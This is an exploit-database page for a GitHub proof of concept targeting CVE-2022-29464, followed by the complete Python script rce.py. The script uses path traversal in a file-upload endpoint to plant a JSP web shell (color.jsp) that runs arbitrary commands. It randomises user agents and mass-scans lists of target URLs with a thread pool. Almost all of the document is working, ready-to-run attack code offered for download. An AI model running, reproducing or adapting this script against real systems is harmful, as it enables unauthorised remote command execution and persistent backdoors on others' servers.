Exploit database

GH-188bdd1f23f38b52df9c2c0e157149b4

lidong-io/cve-2022-29464

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2022-29464

34 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files2
lidong-io/cve-2022-29464Revision 4b1af6d9bcf0

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

rce.py

Python · 3,640 bytes
import requests
import sys
from time import time
import random
import urllib3
from urllib import parse
from argparse import ArgumentParser
import threadpool


#python3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
filename = sys.argv[1]
url_list=[]


#随机ua
def get_ua():
	first_num = random.randint(55, 62)
	third_num = random.randint(0, 3200)
	fourth_num = random.randint(0, 140)
	os_type = [
		'(Windows NT 6.1; WOW64)', '(Windows NT 10.0; WOW64)',
		'(Macintosh; Intel Mac OS X 10_12_6)'
	]
	chrome_version = 'Chrome/{}.0.{}.{}'.format(first_num, third_num, fourth_num)

	ua = ' '.join(['Mozilla/5.0', random.choice(os_type), 'AppleWebKit/537.36',
				   '(KHTML, like Gecko)', chrome_version, 'Safari/537.36']
				  )
	return ua


#getshell函数
def post_shell(url):
	headers = {'User-Agent': get_ua()}
	shell = """<FORM>
	    <INPUT name='cmd' type=text>
	    <INPUT type=submit value='Run'>
	</FORM>
	<%@ page import="java.io.*" %>
	    <%
	    String cmd = request.getParameter("cmd");
	    String output = "";
	    if(cmd != null) {
	        String s = null;
	        try {
	            Process p = Runtime.getRuntime().exec(cmd,null,null);
	            BufferedReader sI = new BufferedReader(new
	InputStreamReader(p.getInputStream()));
	            while((s = sI.readLine()) != null) { output += s+"</br>"; }
	        }  catch(IOException e) {   e.printStackTrace();   }
	    }
	%>
	        <pre><%=output %></pre>"""
	rurl2 = str(url) + "/fileupload/toolsAny"


	files = {f"../../../../repository/deployment/server/webapps/authenticationendpoint/color.jsp": shell}
	try:
		requests.post(url = rurl2, headers = headers, files=files, verify = False)
		get_shell(url)
	except:
		print("请求异常!已跳过。")

#访问webshell成功并返回webshell地址
def get_shell(url):
	headers = {'User-Agent': get_ua()}
	webshell = str(url)+ "/authenticationendpoint/color.jsp"
	try:
		response = requests.get(url=webshell, verify=False, headers=headers)
		if response.status_code == 200:
			print("\033[32m[+] webshell地址:{}/authenticationendpoint/color.jsp \033[0m".format(url))
		else:
			print("\033[31m[-] webshell写入失败 \033[0m")
			

	except Exception as e:
		print("\033[31m[-] %s漏洞无法利用,写入失败\033[0m" %url)
		# sys.exit(0)


#多线程
def multithreading(url_list, pools=5):
	works = []
	for i in url_list:
		works.append(i)
	pool = threadpool.ThreadPool(pools)
	reqs = threadpool.makeRequests(post_shell, works)
	[pool.putRequest(req) for req in reqs]
	pool.wait()


if __name__ == "__main__":
	show = r'''

                    ________   ___________               
__  _  ____________ \_____  \  \_   _____/__  _________  
\ \/ \/ /  ___/  _ \ /  ____/   |    __)_\  \/  /\____ \ 
 \     /\___ (  <_> )       \   |        \>    < |  |_> >
  \/\_//____  >____/\_______ \ /_______  /__/\_ \|   __/ 
            \/              \/         \/      \/|__|    
					 						
	'''
	print(show + '\n')
	arg=ArgumentParser(description='fileupload_exp')
	arg.add_argument("-u",
						"--url",
						help="Target URL; Example:http://ip:port")
	arg.add_argument("-f",
						"--file",
						help="url_list; Example:url.txt")
	args=arg.parse_args()
	url=args.url
	filename=args.file
	start=time()
	if url != None and filename == None:
		post_shell(url)
	elif url == None and filename != None:
		for i in open(filename):
			i=i.replace('\n','')
			url_list.append(i)
		multithreading(url_list,10)
	end=time()
	print('任务完成,用时%d' %(end-start))